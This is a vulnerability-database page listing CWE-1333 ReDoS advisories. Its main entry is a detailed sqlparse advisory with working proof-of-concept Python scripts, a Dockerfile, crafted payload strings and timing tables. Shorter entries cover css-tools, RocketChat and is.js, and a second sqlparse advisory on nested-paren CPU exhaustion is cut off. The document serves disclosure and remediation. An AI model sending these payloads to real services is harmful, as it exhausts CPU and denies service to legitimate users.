CWE-1333
AllowedInefficient Regular Expression Complexity
Abstraction: Base · Status: Draft
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
792 vulnerabilities reference this CWE, most recent first.
GHSA-PRG7-HCFM-MFCR
Vulnerability from github – Published: 2026-08-17 17:49 – Updated: 2026-08-17 17:49Summary
sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at sqlparse/keywords.py:33 uses a backreference (\1) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.
Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below.
Details
The vulnerable regex is defined in sqlparse/keywords.py as part of SQL_REGEX:
# sqlparse/keywords.py:33
(r'((?<![\w\"\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1', tokens.Literal),
This pattern first captures a dollar-quote delimiter (e.g., $tag$) into group 1, then attempts to match any characters ([\s\S]*?) up to the same delimiter again via backreference \1. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.
The lexer applies this regex at every character position (sqlparse/lexer.py:136-138):
# sqlparse/lexer.py:136-138
for pos, char in iterable:
for rexmatch, action in self._SQL_REGEX:
m = rexmatch(text, pos)
The data flow from public API to the vulnerable sink is:
sqlparse/__init__.py:20—parse(sql)accepts caller-controlled SQL.sqlparse/__init__.py:29— delegates toparsestream(sql, encoding).sqlparse/__init__.py:43—FilterStack.run(stream, encoding)is invoked.sqlparse/engine/filter_stack.py:31—lexer.tokenize(sql, encoding)is called with no length limit or timeout.sqlparse/lexer.py:137— every regex in_SQL_REGEXis tried at the current position.sqlparse/keywords.py:33— the backreference regex performs repeated delimiter searches.
The MAX_GROUPING_TOKENS = 10000 limit in sqlparse/engine/grouping.py:20 fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.
Empirically measured scaling confirms super-linear complexity:
| Input (N unique openers) | Bytes | Elapsed |
|---|---|---|
| 250 | 1,889 | 0.066 s |
| 500 | 3,889 | 0.144 s |
| 1,000 | 7,889 | 0.397 s |
| 2,000 | 16,889 | 1.314 s |
The timing ratio from n=1000 to n=2000 is 3.31× (input doubled → time tripled), confirming O(n²) growth.
PoC
Prerequisites: Python 3.x with sqlparse installed (tested against version 0.5.6.dev0, commit c923da9).
Using Docker (isolated reproduction):
# Build from the repository root (parent of vuln-001/)
docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .
# Run with no network access
docker run --rm --network=none sqlparse-vuln001
Direct Python reproduction:
import time
import sqlparse
from sqlparse.exceptions import SQLParseError
def make_payload(n: int) -> str:
# N unique unmatched dollar-quote openers — none have a matching closing delimiter
return " ".join(f"$a{i}$x" for i in range(n))
for n in [250, 500, 1000, 2000]:
payload = make_payload(n)
t0 = time.perf_counter()
try:
sqlparse.parse(payload)
status = "ok"
except SQLParseError as e:
status = f"SQLParseError: {e}"
elapsed = time.perf_counter() - t0
print(f"n={n:>5} bytes={len(payload):>7} elapsed={elapsed:.3f}s status={status}")
Expected output (super-linear scaling confirms ReDoS):
n= 250 bytes= 1889 elapsed=0.066s status=ok
n= 500 bytes= 3889 elapsed=0.144s status=ok
n= 1000 bytes= 7889 elapsed=0.397s status=ok
n= 2000 bytes= 16889 elapsed=1.314s status=ok
Key ratio (n=1000 -> n=2000): 3.31x
[PASS] Super-linear (O(n^2)) scaling CONFIRMED.
Attack input structure:
$a0$x $a1$x $a2$x ... $a{N-1}$x
Each token $ai$x resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.
Remediation (proposed patch):
Replace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with re.finditer, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See report_excerpt.md for the full diff.
Additional affected pattern: multiline comments
Reported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.
Two further entries in SQL_REGEX use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:
# sqlparse/keywords.py:20
(r'/\*\+[\s\S]*?\*/', tokens.Comment.Multiline.Hint),
# sqlparse/keywords.py:23
(r'/\*[\s\S]*?\*/', tokens.Comment.Multiline),
A backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (sqlparse/lexer.py:136-138): an unterminated /* scans to the end of the input and fails, so N unclosed openers cost O(N²).
PoC
import time, sqlparse
for n in (2000, 4000, 8000, 16000):
payload = "/*x " * n
t0 = time.perf_counter()
sqlparse.parse(payload)
print(f"n={n:6d} bytes={len(payload):7d} elapsed={time.perf_counter()-t0:.3f}s")
Lexing-only timings on 0.5.6.dev0 (commit f80af6a), isolating the regex work from grouping:
| openers | bytes | lexing |
|---|---|---|
| 2,000 | 8 KB | 0.057 s |
| 4,000 | 16 KB | 0.196 s |
| 8,000 | 32 KB | 0.729 s |
| 16,000 | 64 KB | 2.717 s |
Roughly 3.7x per doubling of the input, i.e. quadratic.
Note for reproduction: "/*" * n on its own is linear and does not reproduce the issue — in /*/*/*... the openers form overlapping */ pairs, so the pattern matches immediately. The opener must be padded (e.g. "/*x ") so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.
Impact
This is a Regular Expression Denial of Service (ReDoS) vulnerability. Any application or service that passes user-controlled SQL text to sqlparse.parse(), sqlparse.format(), or sqlparse.split() is affected. No authentication, special configuration, or elevated privileges are required — a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.
Under sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.
Affected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.
Reproduction artifacts
Dockerfile
FROM python:3.11-slim
# Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
build-essential \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy the sqlparse repository source code
COPY repo/ /app/repo/
# Install sqlparse from local source in editable mode
RUN pip install --no-cache-dir -e /app/repo/
# Copy the PoC script (build context is the parent of vuln-001/)
COPY vuln-001/poc.py /app/poc.py
# Default: run the PoC
CMD ["python3", "/app/poc.py"]
poc.py
"""
PoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)
Affected code: sqlparse/keywords.py:33
(r'((?<![\\w\\"\\$])\\$(?:[_A-ZÀ-Ü]\\w*)?\\$)[\\s\\S]*?\\1', tokens.Literal)
The backreference \\1 forces the regex engine to scan the entire remaining input
for each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.
Attack input: a sequence of N unique, never-closed dollar-quote openers
$a0$x $a1$x $a2$x ... $a{N-1}$x
Each opener $ai$ is unique, so the regex engine must exhaust the remaining
string before concluding no match exists. With N openers this creates
O(N^2) regex work.
Expected observation: elapsed time grows quadratically (roughly 4x per 2x N).
PASS criterion: timing ratio between n=2000 and n=1000 >= 3.0 (clear super-linear).
"""
import sys
import time
try:
import sqlparse
from sqlparse.exceptions import SQLParseError
except ImportError as exc:
print(f"[ERROR] Cannot import sqlparse: {exc}", file=sys.stderr)
sys.exit(2)
print("=" * 60)
print("VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex")
print("=" * 60)
print(f"sqlparse version: {sqlparse.__version__}")
print()
def make_payload(n: int) -> str:
"""Generate N unique unmatched dollar-quote openers.
Each token '$ai$x' looks like an opening dollar-quote delimiter
but never has a closing delimiter, so the regex engine must scan
the entire remaining string before giving up on each one.
"""
return " ".join(f"$a{i}$x" for i in range(n))
results = []
sample_sizes = [250, 500, 1000, 2000]
for n in sample_sizes:
payload = make_payload(n)
byte_len = len(payload.encode())
t_start = time.perf_counter()
try:
sqlparse.parse(payload)
status = "ok"
except SQLParseError as exc:
status = f"SQLParseError({exc})"
except Exception as exc:
status = f"Exception({type(exc).__name__}: {exc})"
elapsed = time.perf_counter() - t_start
results.append((n, byte_len, elapsed, status))
print(f"n={n:>5} bytes={byte_len:>7} elapsed={elapsed:>8.3f}s status={status}")
print()
# Compute scaling ratios between consecutive sample sizes
print("Scaling analysis (O(n^2) expected -> ratio >= ~4x per 2x input):")
for i in range(1, len(results)):
n_prev, _, t_prev, _ = results[i - 1]
n_curr, _, t_curr, _ = results[i]
if t_prev > 0:
ratio = t_curr / t_prev
n_ratio = n_curr / n_prev
print(f" n={n_prev} -> n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x")
print()
# PASS/FAIL verdict based on timing ratio between largest two points
_, _, t_1000, _ = results[2] # n=1000
_, _, t_2000, _ = results[3] # n=2000
PASS_THRESHOLD = 3.0
if t_1000 > 0:
ratio_1000_2000 = t_2000 / t_1000
else:
ratio_1000_2000 = 0.0
print(f"Key ratio (n=1000 -> n=2000): {ratio_1000_2000:.2f}x")
if ratio_1000_2000 >= PASS_THRESHOLD:
print()
print("[PASS] Super-linear (O(n^2)) scaling CONFIRMED.")
print(f" Time ratio {ratio_1000_2000:.2f}x >= threshold {PASS_THRESHOLD}x.")
print(" ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.")
sys.exit(0)
else:
print()
print("[FAIL] Super-linear scaling NOT confirmed within this run.")
print(f" Time ratio {ratio_1000_2000:.2f}x < threshold {PASS_THRESHOLD}x.")
print(" The host may be too fast or JIT effects obscured the result.")
print(" Try larger sample sizes or re-run on a slower host.")
sys.exit(1)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.6.dev0"
},
"package": {
"ecosystem": "PyPI",
"name": "sqlparse"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59893"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-17T17:49:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nsqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at `sqlparse/keywords.py:33` uses a backreference (`\\1`) to match closing dollar-quote delimiters, causing O(n\u00b2) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.\n\n**Scope note:** the same regex shape \u2014 a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop \u2014 is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see \"Additional affected pattern: multiline comments\" below.\n\n### Details\n\nThe vulnerable regex is defined in `sqlparse/keywords.py` as part of `SQL_REGEX`:\n\n```python\n# sqlparse/keywords.py:33\n(r\u0027((?\u003c![\\w\\\"\\$])\\$(?:[_A-Z\u00c0-\u00dc]\\w*)?\\$)[\\s\\S]*?\\1\u0027, tokens.Literal),\n```\n\nThis pattern first captures a dollar-quote delimiter (e.g., `$tag$`) into group 1, then attempts to match any characters (`[\\s\\S]*?`) up to the same delimiter again via backreference `\\1`. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N\u00b2) total regex work.\n\nThe lexer applies this regex at every character position (`sqlparse/lexer.py:136-138`):\n\n```python\n# sqlparse/lexer.py:136-138\nfor pos, char in iterable:\n for rexmatch, action in self._SQL_REGEX:\n m = rexmatch(text, pos)\n```\n\nThe data flow from public API to the vulnerable sink is:\n\n1. `sqlparse/__init__.py:20` \u2014 `parse(sql)` accepts caller-controlled SQL.\n2. `sqlparse/__init__.py:29` \u2014 delegates to `parsestream(sql, encoding)`.\n3. `sqlparse/__init__.py:43` \u2014 `FilterStack.run(stream, encoding)` is invoked.\n4. `sqlparse/engine/filter_stack.py:31` \u2014 `lexer.tokenize(sql, encoding)` is called with no length limit or timeout.\n5. `sqlparse/lexer.py:137` \u2014 every regex in `_SQL_REGEX` is tried at the current position.\n6. `sqlparse/keywords.py:33` \u2014 the backreference regex performs repeated delimiter searches.\n\nThe `MAX_GROUPING_TOKENS = 10000` limit in `sqlparse/engine/grouping.py:20` fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.\n\nEmpirically measured scaling confirms super-linear complexity:\n\n| Input (N unique openers) | Bytes | Elapsed |\n|--------------------------|--------|----------|\n| 250 | 1,889 | 0.066 s |\n| 500 | 3,889 | 0.144 s |\n| 1,000 | 7,889 | 0.397 s |\n| 2,000 | 16,889 | 1.314 s |\n\nThe timing ratio from n=1000 to n=2000 is **3.31\u00d7** (input doubled \u2192 time tripled), confirming O(n\u00b2) growth.\n\n### PoC\n\n**Prerequisites:** Python 3.x with sqlparse installed (tested against version `0.5.6.dev0`, commit `c923da9`).\n\n**Using Docker (isolated reproduction):**\n\n```bash\n# Build from the repository root (parent of vuln-001/)\ndocker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .\n\n# Run with no network access\ndocker run --rm --network=none sqlparse-vuln001\n```\n\n**Direct Python reproduction:**\n\n```python\nimport time\nimport sqlparse\nfrom sqlparse.exceptions import SQLParseError\n\ndef make_payload(n: int) -\u003e str:\n # N unique unmatched dollar-quote openers \u2014 none have a matching closing delimiter\n return \" \".join(f\"$a{i}$x\" for i in range(n))\n\nfor n in [250, 500, 1000, 2000]:\n payload = make_payload(n)\n t0 = time.perf_counter()\n try:\n sqlparse.parse(payload)\n status = \"ok\"\n except SQLParseError as e:\n status = f\"SQLParseError: {e}\"\n elapsed = time.perf_counter() - t0\n print(f\"n={n:\u003e5} bytes={len(payload):\u003e7} elapsed={elapsed:.3f}s status={status}\")\n```\n\n**Expected output (super-linear scaling confirms ReDoS):**\n\n```\nn= 250 bytes= 1889 elapsed=0.066s status=ok\nn= 500 bytes= 3889 elapsed=0.144s status=ok\nn= 1000 bytes= 7889 elapsed=0.397s status=ok\nn= 2000 bytes= 16889 elapsed=1.314s status=ok\n\nKey ratio (n=1000 -\u003e n=2000): 3.31x\n[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\n```\n\n**Attack input structure:**\n\n```\n$a0$x $a1$x $a2$x ... $a{N-1}$x\n```\n\nEach token `$ai$x` resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.\n\n**Remediation (proposed patch):**\n\nReplace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with `re.finditer`, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See `report_excerpt.md` for the full diff.\n\n### Additional affected pattern: multiline comments\n\nReported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.\n\nTwo further entries in `SQL_REGEX` use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:\n\n```python\n# sqlparse/keywords.py:20\n(r\u0027/\\*\\+[\\s\\S]*?\\*/\u0027, tokens.Comment.Multiline.Hint),\n# sqlparse/keywords.py:23\n(r\u0027/\\*[\\s\\S]*?\\*/\u0027, tokens.Comment.Multiline),\n```\n\nA backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (`sqlparse/lexer.py:136-138`): an unterminated `/*` scans to the end of the input and fails, so N unclosed openers cost O(N\u00b2).\n\n**PoC**\n\n```python\nimport time, sqlparse\n\nfor n in (2000, 4000, 8000, 16000):\n payload = \"/*x \" * n\n t0 = time.perf_counter()\n sqlparse.parse(payload)\n print(f\"n={n:6d} bytes={len(payload):7d} elapsed={time.perf_counter()-t0:.3f}s\")\n```\n\nLexing-only timings on `0.5.6.dev0` (commit `f80af6a`), isolating the regex work from grouping:\n\n| openers | bytes | lexing |\n|---------|-------|--------|\n| 2,000 | 8 KB | 0.057 s |\n| 4,000 | 16 KB | 0.196 s |\n| 8,000 | 32 KB | 0.729 s |\n| 16,000 | 64 KB | 2.717 s |\n\nRoughly 3.7x per doubling of the input, i.e. quadratic.\n\n**Note for reproduction:** `\"/*\" * n` on its own is *linear* and does not reproduce the issue \u2014 in `/*/*/*...` the openers form overlapping `*/` pairs, so the pattern matches immediately. The opener must be padded (e.g. `\"/*x \"`) so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.\n\n### Impact\n\nThis is a **Regular Expression Denial of Service (ReDoS)** vulnerability. Any application or service that passes user-controlled SQL text to `sqlparse.parse()`, `sqlparse.format()`, or `sqlparse.split()` is affected. No authentication, special configuration, or elevated privileges are required \u2014 a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.\n\nUnder sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.\n\nAffected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install build dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n build-essential \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the sqlparse repository source code\nCOPY repo/ /app/repo/\n\n# Install sqlparse from local source in editable mode\nRUN pip install --no-cache-dir -e /app/repo/\n\n# Copy the PoC script (build context is the parent of vuln-001/)\nCOPY vuln-001/poc.py /app/poc.py\n\n# Default: run the PoC\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)\n\nAffected code: sqlparse/keywords.py:33\n (r\u0027((?\u003c![\\\\w\\\\\"\\\\$])\\\\$(?:[_A-Z\u00c0-\u00dc]\\\\w*)?\\\\$)[\\\\s\\\\S]*?\\\\1\u0027, tokens.Literal)\n\nThe backreference \\\\1 forces the regex engine to scan the entire remaining input\nfor each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.\n\nAttack input: a sequence of N unique, never-closed dollar-quote openers\n $a0$x $a1$x $a2$x ... $a{N-1}$x\n\nEach opener $ai$ is unique, so the regex engine must exhaust the remaining\nstring before concluding no match exists. With N openers this creates\nO(N^2) regex work.\n\nExpected observation: elapsed time grows quadratically (roughly 4x per 2x N).\nPASS criterion: timing ratio between n=2000 and n=1000 \u003e= 3.0 (clear super-linear).\n\"\"\"\n\nimport sys\nimport time\n\ntry:\n import sqlparse\n from sqlparse.exceptions import SQLParseError\nexcept ImportError as exc:\n print(f\"[ERROR] Cannot import sqlparse: {exc}\", file=sys.stderr)\n sys.exit(2)\n\nprint(\"=\" * 60)\nprint(\"VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex\")\nprint(\"=\" * 60)\nprint(f\"sqlparse version: {sqlparse.__version__}\")\nprint()\n\n\ndef make_payload(n: int) -\u003e str:\n \"\"\"Generate N unique unmatched dollar-quote openers.\n\n Each token \u0027$ai$x\u0027 looks like an opening dollar-quote delimiter\n but never has a closing delimiter, so the regex engine must scan\n the entire remaining string before giving up on each one.\n \"\"\"\n return \" \".join(f\"$a{i}$x\" for i in range(n))\n\n\nresults = []\n\nsample_sizes = [250, 500, 1000, 2000]\n\nfor n in sample_sizes:\n payload = make_payload(n)\n byte_len = len(payload.encode())\n t_start = time.perf_counter()\n try:\n sqlparse.parse(payload)\n status = \"ok\"\n except SQLParseError as exc:\n status = f\"SQLParseError({exc})\"\n except Exception as exc:\n status = f\"Exception({type(exc).__name__}: {exc})\"\n elapsed = time.perf_counter() - t_start\n\n results.append((n, byte_len, elapsed, status))\n print(f\"n={n:\u003e5} bytes={byte_len:\u003e7} elapsed={elapsed:\u003e8.3f}s status={status}\")\n\nprint()\n\n# Compute scaling ratios between consecutive sample sizes\nprint(\"Scaling analysis (O(n^2) expected -\u003e ratio \u003e= ~4x per 2x input):\")\nfor i in range(1, len(results)):\n n_prev, _, t_prev, _ = results[i - 1]\n n_curr, _, t_curr, _ = results[i]\n if t_prev \u003e 0:\n ratio = t_curr / t_prev\n n_ratio = n_curr / n_prev\n print(f\" n={n_prev} -\u003e n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x\")\n\nprint()\n\n# PASS/FAIL verdict based on timing ratio between largest two points\n_, _, t_1000, _ = results[2] # n=1000\n_, _, t_2000, _ = results[3] # n=2000\n\nPASS_THRESHOLD = 3.0\n\nif t_1000 \u003e 0:\n ratio_1000_2000 = t_2000 / t_1000\nelse:\n ratio_1000_2000 = 0.0\n\nprint(f\"Key ratio (n=1000 -\u003e n=2000): {ratio_1000_2000:.2f}x\")\n\nif ratio_1000_2000 \u003e= PASS_THRESHOLD:\n print()\n print(\"[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\")\n print(f\" Time ratio {ratio_1000_2000:.2f}x \u003e= threshold {PASS_THRESHOLD}x.\")\n print(\" ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.\")\n sys.exit(0)\nelse:\n print()\n print(\"[FAIL] Super-linear scaling NOT confirmed within this run.\")\n print(f\" Time ratio {ratio_1000_2000:.2f}x \u003c threshold {PASS_THRESHOLD}x.\")\n print(\" The host may be too fast or JIT effects obscured the result.\")\n print(\" Try larger sample sizes or re-run on a slower host.\")\n sys.exit(1)\n```",
"id": "GHSA-prg7-hcfm-mfcr",
"modified": "2026-08-17T17:49:55Z",
"published": "2026-08-17T17:49:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
},
{
"type": "WEB",
"url": "https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e"
},
{
"type": "PACKAGE",
"url": "https://github.com/andialbrecht/sqlparse"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)"
}
GHSA-PRR3-C3M5-P7Q2
Vulnerability from github – Published: 2023-11-30 19:51 – Updated: 2023-12-14 22:02Impact
@adobe/css-tools version 4.3.1 and earlier are affected by an Improper Input Validation vulnerability that could result in a denial of service while attempting to parse CSS.
Patches
The issue has been resolved in 4.3.2.
Workarounds
None
References
N/A
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@adobe/css-tools"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-48631"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2023-11-30T19:51:29Z",
"nvd_published_at": "2023-12-14T13:15:54Z",
"severity": "MODERATE"
},
"details": "### Impact\n@adobe/css-tools version 4.3.1 and earlier are affected by an Improper Input Validation vulnerability that could result in a denial of service while attempting to parse CSS.\n\n### Patches\nThe issue has been resolved in 4.3.2.\n\n### Workarounds\nNone\n\n### References\nN/A\n",
"id": "GHSA-prr3-c3m5-p7q2",
"modified": "2023-12-14T22:02:39Z",
"published": "2023-11-30T19:51:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/adobe/css-tools/security/advisories/GHSA-prr3-c3m5-p7q2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48631"
},
{
"type": "WEB",
"url": "https://github.com/adobe/css-tools/issues/211"
},
{
"type": "WEB",
"url": "https://github.com/adobe/css-tools/pull/249"
},
{
"type": "WEB",
"url": "https://github.com/adobe/css-tools/commit/472bef91bde9caab305f3f36231ad0c253581b43"
},
{
"type": "PACKAGE",
"url": "https://github.com/adobe/css-tools"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "@adobe/css-tools Improper Input Validation and Inefficient Regular Expression Complexity"
}
GHSA-PRXP-75XX-3CXW
Vulnerability from github – Published: 2025-06-09 21:30 – Updated: 2025-06-09 21:30A vulnerability, which was classified as problematic, has been found in RocketChat up to 7.6.1. This issue affects the function parseMessage of the file /apps/meteor/app/irc/server/servers/RFC2813/parseMessage.js. The manipulation of the argument line leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-5892"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-09T20:15:25Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, has been found in RocketChat up to 7.6.1. This issue affects the function parseMessage of the file /apps/meteor/app/irc/server/servers/RFC2813/parseMessage.js. The manipulation of the argument line leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-prxp-75xx-3cxw",
"modified": "2025-06-09T21:30:51Z",
"published": "2025-06-09T21:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5892"
},
{
"type": "WEB",
"url": "https://github.com/RocketChat/Rocket.Chat/pull/35711"
},
{
"type": "WEB",
"url": "https://gist.github.com/mmmsssttt404/0fcda3b3e85edafc4eaa6816aa252deb"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.311663"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.311663"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.585751"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PVRW-G6FX-MCX2
Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2023-07-06 21:46is.js is a general-purpose check library. Versions 0.9.0 and prior contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). is.js uses a regex copy-pasted from a gist to validate URLs. Trying to validate a malicious string can cause the regex to loop "forever." This vulnerability was found using a CodeQL query which identifies inefficient regular expressions. is.js has no patch for this issue.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "is_js"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-26302"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-06T21:46:34Z",
"nvd_published_at": "2022-12-22T21:15:00Z",
"severity": "HIGH"
},
"details": "is.js is a general-purpose check library. Versions 0.9.0 and prior contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). is.js uses a regex copy-pasted from a gist to validate URLs. Trying to validate a malicious string can cause the regex to loop \"forever.\" This vulnerability was found using a CodeQL query which identifies inefficient regular expressions. is.js has no patch for this issue.",
"id": "GHSA-pvrw-g6fx-mcx2",
"modified": "2023-07-06T21:46:34Z",
"published": "2023-07-06T19:24:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26302"
},
{
"type": "WEB",
"url": "https://github.com/arasatasaygin/is.js/issues/320"
},
{
"type": "PACKAGE",
"url": "https://github.com/arasatasaygin/is.js"
},
{
"type": "ADVISORY",
"url": "https://securitylab.github.com/advisories/GHSL-2020-295-redos-is.js"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "is_js vulnerable to Regular Expression Denial of Service"
}
GHSA-PWGV-4X5Q-6M9F
Vulnerability from github – Published: 2026-08-17 17:49 – Updated: 2026-08-17 17:49Summary
sqlparse ships hard limits (MAX_GROUPING_DEPTH=100, MAX_GROUPING_TOKENS=10000) intended to bound parsing work on attacker-supplied SQL, but the path that reaches those limits is itself O(n*depth) per token-group construction. A ~1-2 KB SQL payload (e.g. SELECT (((((1))))) ... with 500-2000 nesting levels, or a 200-400-level nested CASE WHEN chain) drives the parser to spend multiple seconds of CPU before the depth cap raises SQLParseError. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms.
The root cause is TokenList.__init__ calling super().__init__(None, str(self)). TokenList.__str__ flattens the entire subtree on every call, and grouping constructs a new TokenList for every parenthesis / CASE / list group, so a tree of depth d with n total tokens performs O(n*d) flatten work just to materialize the cached value field, which is then never read for grouped nodes (they override __str__).
